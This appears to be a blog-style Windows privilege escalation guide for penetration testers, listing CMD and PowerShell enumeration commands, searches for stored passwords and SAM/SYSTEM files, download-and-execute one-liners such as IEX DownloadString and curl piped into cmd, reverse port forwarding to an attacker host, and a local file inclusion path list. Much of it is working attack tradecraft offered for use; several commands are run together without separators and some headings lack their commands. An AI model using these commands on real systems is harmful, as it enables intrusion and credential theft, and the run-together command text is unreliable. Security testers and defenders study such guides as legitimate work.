Windows Privilege Escalation Guide

Privilege escalation always comes down to proper enumeration. But to accomplish proper enumeration you need to know what to check and look for. This takes familiarity with systems that normally comes along with experience. At first privilege escalation can seem like a daunting task, but after a while you start to filter through what is normal and what isn’t. It eventually becomes easier to know what to look for rather than digging through everything hoping to find that needle in the haystack. Hopefully this guide will provide a good foundation to build upon and get you started.

Guide Layout

In each section I first provide the old trusted CMD commands and then also a Powershell equivalent for posterity sake. It’s good to have both tools under your belt and Powershell is much more versatile for scripting than the traditional CMD. However there isn’t a Powershell equivalent for everything (or CMD is still simply easier/better on certain things), so some sections will only contain regular CMD commands.

Version 1.3 – Last updated October 2018

Operating System

What is the OS and architecture? Is it missing any patches?

systeminfowmic qfe

Is there anything interesting in environment variables? A domain controller in LOGONSERVER?

setGet-ChildItem Env: | ft Key,Value

Are there any other connected drives?

net usewmic logicaldisk get caption,description,providernameGet-PSDrive | where {$_.Provider -like “Microsoft.PowerShell.Core\FileSystem”}| ft Name,Root


Who are you?

whoamiecho %USERNAME%$env:UserName

Any interesting user privileges? Note: The State column does not mean that the user does or does not have access to this privilege. If the privilege is listed, then that user has it.

whoami /priv

What users are on the system? Any old user profiles that weren’t cleaned up?

net usersdir /b /ad “C:\Users\”dir /b /ad “C:\Documents and Settings\” # Windows XP and belowGet-LocalUser | ft Name,Enabled,LastLogonGet-ChildItem C:\Users -Force | select Name

Is anyone else logged in?


What groups are on the system?

net localgroupGet-LocalGroup | ft Name

Are any of the users in the Administrators group?

net localgroup AdministratorsGet-LocalGroupMember Administrators | ft Name, PrincipalSource

Anything in the Registry for User Autologon?

reg query “HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon” 2>nul | findstr “DefaultUserName DefaultDomainName DefaultPassword”Get-ItemProperty -Path ‘Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon’ | select “Default*”

Anything interesting in Credential Manager?

cmdkey /listdir C:\Users\username\AppData\Local\Microsoft\Credentials\dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Can we access SAM and SYSTEM files?


Programs, Processes, and Services

What software is installed?

dir /a “C:\Program Files”dir /a “C:\Program Files (x86)”reg query HKEY_LOCAL_MACHINE\SOFTWAREGet-ChildItem ‘C:\Program Files’, ‘C:\Program Files (x86)’ | ft Parent,Name,LastWriteTime Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Are there any weak folder or file permissions?

Full Permissions for Everyone or Users on Program Folders?

icacls “C:\Program Files\*” 2>nul | findstr “(F)” | findstr “Everyone”icacls “C:\Program Files (x86)\*” 2>nul | findstr “(F)” | findstr “Everyone” icacls “C:\Program Files\*” 2>nul | findstr “(F)” | findstr “BUILTIN\Users”icacls “C:\Program Files (x86)\*” 2>nul | findstr “(F)” | findstr “BUILTIN\Users”

Modify Permissions for Everyone or Users on Program Folders?

icacls “C:\Program Files\*” 2>nul | findstr “(M)” | findstr “Everyone”icacls “C:\Program Files (x86)\*” 2>nul | findstr “(M)” | findstr “Everyone” icacls “C:\Program Files\*” 2>nul | findstr “(M)” | findstr “BUILTIN\Users” icacls “C:\Program Files (x86)\*” 2>nul | findstr “(M)” | findstr “BUILTIN\Users” Get-ChildItem ‘C:\Program Files\*’,’C:\Program Files (x86)\*’ | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match ‘Everyone’} } catch {}}  Get-ChildItem ‘C:\Program Files\*’,’C:\Program Files (x86)\*’ | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match ‘BUILTIN\Users’} } catch {}}

You can also upload accesschk from Sysinternals to check for writeable folders and files.

accesschk.exe -qwsu “Everyone” *accesschk.exe -qwsu “Authenticated Users” *accesschk.exe -qwsu “Users” *

What are the running processes/services on the system? Is there an inside service not exposed? If so, can we open it? See Port Forwarding in Appendix.

tasklist /svctasklist /vnet startsc query

Get-Process has a -IncludeUserName option to see the process owner, however you have to have administrative rights to use it.

Get-Process | where {$_.ProcessName -notlike “svchost*”} | ft ProcessName, IdGet-Service

This one liner returns the process owner without admin rights, if something is blank under owner it’s probably running as SYSTEM, NETWORK SERVICE, or LOCAL SERVICE.

Get-WmiObject -Query “Select * from Win32_Process” | where {$_.Name -notlike “svchost*”} | Select Name, Handle, @{Label=”Owner”;Expression={$_.GetOwner().User}} | ft -AutoSize

Any weak service permissions? Can we reconfigure anything? Again, upload accesschk.

accesschk.exe -uwcqv “Everyone” *accesschk.exe -uwcqv “Authenticated Users” *accesschk.exe -uwcqv “Users” *

Are there any unquoted service paths?

wmic service get name,displayname,pathname,startmode 2>nul |findstr /i “Auto” 2>nul |findstr /i /v “C:\Windows\\” 2>nul |findstr /i /v “””gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq “Auto” -and $_.PathName -notlike “C:\Windows*” -and $_.PathName -notlike ‘”*’} | select PathName,DisplayName,Name

What scheduled tasks are there? Anything custom implemented?

schtasks /query /fo LIST 2>nul | findstr TaskNamedir C:\windows\tasksGet-ScheduledTask | where {$_.TaskPath -notlike “\Microsoft*”} | ft TaskName,TaskPath,State

What is ran at startup?

wmic startup get caption,commandreg query HKLM\Software\Microsoft\Windows\CurrentVersion\Runreg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOncereg query HKCU\Software\Microsoft\Windows\CurrentVersion\Runreg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOncedir “C:\Documents and Settings\All Users\Start Menu\Programs\Startup”dir “C:\Documents and Settings\%username%\Start Menu\Programs\Startup”Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | flGet-ItemProperty -Path ‘Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run’Get-ItemProperty -Path ‘Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce’Get-ItemProperty -Path ‘Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run’Get-ItemProperty -Path ‘Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce’Get-ChildItem “C:\Users\All Users\Start Menu\Programs\Startup”Get-ChildItem “C:\Users\$env:USERNAME\Start Menu\Programs\Startup”

Is AlwaysInstallElevated enabled? I have not ran across this but it doesn’t hurt to check.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated


What NICs are connected? Are there multiple networks?

ipconfig /allGet-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4AddressGet-DnsClientServerAddress -AddressFamily IPv4 | ft

What routes do we have?

route printGet-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Anything in the ARP cache?

arp -aGet-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

Are there connections to other hosts?

netstat -ano

Anything in the hosts file?


Is the firewall turned on? If so what’s configured?

netsh firewall show statenetsh firewall show confignetsh advfirewall firewall show rule name=allnetsh advfirewall export “firewall.txt”

Any other interesting interface configurations?

netsh dump

Are there any SNMP configurations?

reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /sGet-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

Interesting Files and Sensitive Information

This section may be a little noisy so you may want to output commands into txt files to review and parse as you wish.

Any passwords in the registry?

reg query HKCU /f password /t REG_SZ /sreg query HKLM /f password /t REG_SZ /s

Are there sysprep or unattend files available that weren’t cleaned up?

dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nulGet-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like “*.xml” -or $_.Name -like “*.txt” -or $_.Name -like “*.ini”)}

If the server is an IIS webserver, what’s in inetpub? Any hidden directories? web.config files?

dir /a C:\inetpub\dir /s web.configC:\Windows\System32\inetsrv\config\applicationHost.configGet-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

What’s in the IIS Logs?


Is XAMPP, Apache, or PHP installed? Any there any XAMPP, Apache, or PHP configuration files?

dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnfGet-Childitem –Path C:\ -Include php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -ErrorAction SilentlyContinue

Any Apache web logs?

dir /s access.log error.logGet-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Any interesting files to look at? Possibly inside User directories (Desktop, Documents, etc)?

dir /s *pass* == *vnc* == *.config* 2>nulGet-Childitem –Path C:\Users\ -Include *password*,*vnc*,*.config -File -Recurse -ErrorAction SilentlyContinue

Files containing password inside them?

findstr /si password *.xml *.ini *.txt *.config 2>nulGet-ChildItem C:\* -include *.xml,*.ini,*.txt,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern “password”

Enumeration Script

I’ve created a Powershell script which pretty much automates all of the above. You can check it out here.

Transferring Files

At some point during privilege escalation you will need to get files onto your target. Below are some easy ways to do so.

PowerShell Cmdlet (Powershell 3.0 and higher)

Invoke-WebRequest “https://server/filename” -OutFile “C:\Windows\Temp\filename”

PowerShell One-Liner

(New-Object System.Net.WebClient).DownloadFile(“https://server/filename”, “C:\Windows\Temp\filename”)

PowerShell One-Line Script Execution in Memory

IEX(New-Object Net.WebClient).downloadString(‘http://server/script.ps1’)

PowerShell with Proxy

$browser = New-Object System.Net.WebClient;$browser.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;IEX($browser.DownloadString(‘https://server/script.ps1’));

PowerShell Script

echo $webclient = New-Object System.Net.WebClient >>wget.ps1echo $url = “http://server/file.exe” >>wget.ps1echo $file = “output-file.exe” >>wget.ps1echo $webclient.DownloadFile($url,$file) >>wget.ps1                        powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

Non-interactive FTP via text file. Useful for when you only have limited command execution.

echo open 21> ftp.txtecho USER username>> ftp.txtecho mypassword>> ftp.txtecho bin>> ftp.txtecho GET filename>> ftp.txtecho bye>> ftp.txt                        ftp -v -n -s:ftp.txt


certutil.exe -urlcache -split -f https://myserver/filename outputfilename

Certutil can also be used for base64 encoding/decoding.

certutil.exe -encode inputFileName encodedOutputFileNamecertutil.exe -decode encodedInputFileName decodedOutputFileName

Starting with Windows 10 1803 (April 2018 Update) the curl command has been implemented which gives another way to transfer files and even execute them in memory. Piping directly into cmd will run most things but it seems like if you have anything other than regular commands in your script, ie loops, if statements etc, it doesn’t run them correctly.

curl http://server/file -o filecurl http://server/file.bat | cmd

And with PowerShell

IEX(curl http://server/script.ps1);Invoke-Blah

Port Forwarding

This is useful for exposing inside services that aren’t available from outside the machine, normally due to firewall settings.

Upload plink.exe to target.

Start SSH on your attacking machine.

For example to expose SMB, on the target run:

plink.exe -l root -pw password -R 445: YOURIPADDRESS

As of Windows 10 1803 (April 2018 Update), ssh client is now included and turned on by default! So you’re able use ssh to do port forwarding right out of the box now.

ssh -l root -pw password -R 445: YOURIPADDRESS

Local File Inclusion List

This is not an exhaustive list, installation directories will vary, I’ve only listed common ones.

C:\Apache\conf\httpd.confC:\Apache\logs\access.logC:\Apache\logs\error.logC:\Apache2\conf\httpd.confC:\Apache2\logs\access.logC:\Apache2\logs\error.logC:\Apache22\conf\httpd.confC:\Apache22\logs\access.logC:\Apache22\logs\error.logC:\Apache24\conf\httpd.confC:\Apache24\logs\access.logC:\Apache24\logs\error.logC:\Documents and Settings\Administrator\NTUser.datC:\php\php.iniC:\php4\php.iniC:\php5\php.iniC:\php7\php.iniC:\Program Files (x86)\Apache Group\Apache\conf\httpd.confC:\Program Files (x86)\Apache Group\Apache\logs\access.logC:\Program Files (x86)\Apache Group\Apache\logs\error.logC:\Program Files (x86)\Apache Group\Apache2\conf\httpd.confC:\Program Files (x86)\Apache Group\Apache2\logs\access.logC:\Program Files (x86)\Apache Group\Apache2\logs\error.logc:\Program Files (x86)\php\php.ini”C:\Program Files\Apache Group\Apache\conf\httpd.confC:\Program Files\Apache Group\Apache\conf\logs\access.logC:\Program Files\Apache Group\Apache\conf\logs\error.logC:\Program Files\Apache Group\Apache2\conf\httpd.confC:\Program Files\Apache Group\Apache2\conf\logs\access.logC:\Program Files\Apache Group\Apache2\conf\logs\error.logC:\Program Files\FileZilla Server\FileZilla Server.xmlC:\Program Files\MySQL\my.cnfC:\Program Files\MySQL\my.iniC:\Program Files\MySQL\MySQL Server 5.0\my.cnfC:\Program Files\MySQL\MySQL Server 5.0\my.iniC:\Program Files\MySQL\MySQL Server 5.1\my.cnfC:\Program Files\MySQL\MySQL Server 5.1\my.iniC:\Program Files\MySQL\MySQL Server 5.5\my.cnfC:\Program Files\MySQL\MySQL Server 5.5\my.iniC:\Program Files\MySQL\MySQL Server 5.6\my.cnfC:\Program Files\MySQL\MySQL Server 5.6\my.iniC:\Program Files\MySQL\MySQL Server 5.7\my.cnfC:\Program Files\MySQL\MySQL Server 5.7\my.iniC:\Program Files\php\php.iniC:\Users\Administrator\NTUser.datC:\Windows\debug\NetSetup.LOGC:\Windows\Panther\Unattend\Unattended.xmlC:\Windows\Panther\Unattended.xmlC:\Windows\php.iniC:\Windows\repair\SAMC:\Windows\repair\systemC:\Windows\System32\config\AppEvent.evtC:\Windows\System32\config\RegBack\SAMC:\Windows\System32\config\RegBack\systemC:\Windows\System32\config\SAMC:\Windows\System32\config\SecEvent.evtC:\Windows\System32\config\SysEvent.evtC:\Windows\System32\config\SYSTEMC:\Windows\System32\drivers\etc\hostsC:\Windows\System32\winevt\Logs\Application.evtxC:\Windows\System32\winevt\Logs\Security.evtxC:\Windows\System32\winevt\Logs\System.evtxC:\Windows\win.ini C:\xampp\apache\conf\extra\httpd-xampp.confC:\xampp\apache\conf\httpd.confC:\xampp\apache\logs\access.logC:\xampp\apache\logs\error.logC:\xampp\FileZillaFTP\FileZilla Server.xmlC:\xampp\MercuryMail\MERCURY.INIC:\xampp\mysql\bin\my.iniC:\xampp\php\php.iniC:\xampp\security\webdav.htpasswdC:\xampp\sendmail\sendmail.iniC:\xampp\tomcat\conf\server.xml


Leave a Reply

Your email address will not be published. Required fields are marked *